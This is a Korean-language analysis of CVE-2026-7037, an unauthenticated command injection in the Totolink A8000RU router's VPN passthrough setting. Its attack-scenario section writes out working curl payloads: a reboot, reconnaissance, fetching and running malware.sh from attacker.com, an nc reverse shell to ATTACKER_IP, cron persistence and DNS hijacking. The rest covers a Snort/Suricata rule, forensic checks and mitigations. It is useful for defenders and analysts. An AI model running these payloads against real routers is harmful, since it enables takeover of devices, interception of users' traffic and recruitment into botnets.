Totolink A8000RU 라우터 원격 코드 실행 취약점 (CVE-2026-7037) 상세 분석
기본 원리: OS 명령어 삽입(OS Command Injection)이란
OS 명령어 삽입(OS Command Injection)은 웹 애플리케이션이 사용자로부터 입력받은 데이터를 운영체제 명령의 일부로 사용하여 실행할 때 발생하는 치명적인 취약점입니다. 이는 개발자가 사용자 입력을 제대로 검증하거나 필터링하지 않고 시스템 명령에 직접 통합할 때 발생합니다. 공격자는 이 취약점을 이용해 애플리케이션이 실행되는 서버 또는 장치의 운영체제에서 임의의 명령을 실행할 수 있습니다.
예를 들어, 웹 애플리케이션이 ping 명령어를 사용하여 IP 주소의 연결성을 확인한다고 가정해 봅시다. 개발자가 다음과 같은 방식으로 사용자 입력 IP 주소를 ping 명령에 사용한다면:
system("ping " + user_input_ip_address);
정상적인 사용자는 192.168.1.1과 같은 유효한 IP 주소를 입력하겠지만, 공격자는 192.168.1.1; cat /etc/passwd와 같이 입력하여 cat /etc/passwd 명령도 함께 실행되도록 할 수 있습니다.
취약점 상세
CVE-2026-7037은 Totolink A8000RU 라우터의 VPN 패스스루(Pass-through) 설정 기능에서 발견된 OS 명령어 삽입 취약점입니다.
| 항목 | 내용 |
|---|---|
| 영향 장치 | Totolink A8000RU 7.1cu.643_b20200521 |
| 취약 파일 | /cgi-bin/cstecgi.cgi |
| 취약 함수 | setVpnPassCfg |
| 공격 벡터 | 네트워크 (원격), 인증 불필요 |
| CVSS 점수 | 9.8 (CRITICAL) |
setVpnPassCfg 함수는 라우터의 VPN 패스스루 기능을 설정합니다. VPN 패스스루는 PPTP, L2TP, IPSec 등의 VPN 프로토콜 트래픽이 NAT를 통과할 수 있도록 허용하는 기능입니다. 이 함수의 파라미터가 OS 명령에 직접 삽입되어 임의의 명령 실행이 가능합니다.
공격 시나리오
공격 준비
1단계: 취약한 장치 식별
공격자는 Shodan, Censys, ZoomEye 등의 인터넷 스캐닝 서비스를 이용해 인터넷에 노출된 취약한 Totolink A8000RU 장치를 식별합니다.
2단계: 페이로드 준비
공격자는 실행하고자 하는 명령어를 준비합니다:
라우터 재부팅:
curl -X POST http://TARGET_IP/cgi-bin/cstecgi.cgi \
-d "action=setVpnPassCfg&pptp=1;reboot"
시스템 정보 수집:
curl -X POST http://TARGET_IP/cgi-bin/cstecgi.cgi \
-d "action=setVpnPassCfg&pptp=1;id;uname -a;cat /proc/version"
악성 스크립트 다운로드 및 실행:
curl -X POST http://TARGET_IP/cgi-bin/cstecgi.cgi \
-d "action=setVpnPassCfg&pptp=1;wget http://attacker.com/malware.sh -O /tmp/m.sh && chmod +x /tmp/m.sh && /tmp/m.sh"
3단계: 리버스 쉘 획득
# 공격자 서버에서 리스너 실행
nc -lvnp 4444
# 라우터로 리버스 쉘 페이로드 전송
curl -X POST http://TARGET_IP/cgi-bin/cstecgi.cgi \
-d "action=setVpnPassCfg&pptp=test;nc ATTACKER_IP 4444 -e /bin/sh"
4단계: 공격 후 지속성 확보
# 라우터 크론탭에 주기적 리버스 쉘 등록
echo "*/10 * * * * nc ATTACKER_IP 4444 -e /bin/sh" >> /etc/crontabs/root
# DNS 서버 변경으로 피싱 공격 준비
uci set dhcp.@dnsmasq[0].server='ATTACKER_DNS_IP'
uci commit dhcp
/etc/init.d/dnsmasq restart
공격 후 가능한 행동
- 트래픽 도청: ARP 스푸핑이나 DNS 하이재킹으로 내부 사용자 통신 감청
- 자격증명 탈취: 라우터에 저장된 PPPoE, VPN, Wi-Fi 비밀번호 추출
- 내부망 침투: 라우터를 거점으로 내부 네트워크의 다른 장치 공격
- 봇넷 구성: DDoS 공격이나 스팸 발송에 악용
- 암호화폐 채굴: 라우터 리소스를 이용한 크립토마이닝
탐지 방법
네트워크 트래픽 모니터링
# Snort/Suricata IDS 탐지 규칙
alert http any any -> $HOME_NET any (
msg: "CVE-2026-7037 Totolink setVpnPassCfg Command Injection";
content: "setVpnPassCfg";
http_client_body;
pcre: "/pptp=[^&\s]*[;|&\$\`]/";
sid: 20267037; rev:1;
)
시스템 이상 징후
- 라우터 CPU 사용률 비정상적 급증
- 예상치 못한 외부 IP로의 지속적 TCP 연결
- DNS 쿼리 패턴 변화
/tmp디렉토리에 새로운 실행 파일 생성
라우터 관리 콘솔 점검
# 비정상적인 프로세스 확인
ps | grep -v "\[k"
# 활성 네트워크 연결 확인
netstat -an | grep ESTABLISHED
# crontab 확인
cat /etc/crontabs/root
대응 방법
즉각적인 조치
1. 긴급 펌웨어 업데이트 Totolink 공식 웹사이트(www.totolink.net)에서 A8000RU의 최신 펌웨어를 다운로드하여 업데이트합니다. 업데이트 전 현재 설정을 백업하는 것이 좋습니다.
2. 원격 관리 비활성화 라우터 설정 → 고급 설정 → 원격 관리에서 WAN 측 접근을 즉시 비활성화합니다.
3. 방화벽 규칙 추가
# 외부(WAN)에서 관리 포트 접근 완전 차단
iptables -I INPUT -i eth0.2 -p tcp -m multiport --dports 80,443,8080,8443 -j DROP
장기적 보안 강화
- 정기 업데이트: 제조사 보안 공지 구독 및 월 1회 이상 펌웨어 업데이트 점검
- 장치 교체: 지원이 종료된 구형 장치는 보안이 강화된 최신 모델로 교체
- 네트워크 분리: 중요 서버와 일반 사용자 네트워크를 VLAN으로 분리
- 보안 감사: 분기별 네트워크 장치 취약점 스캔 실시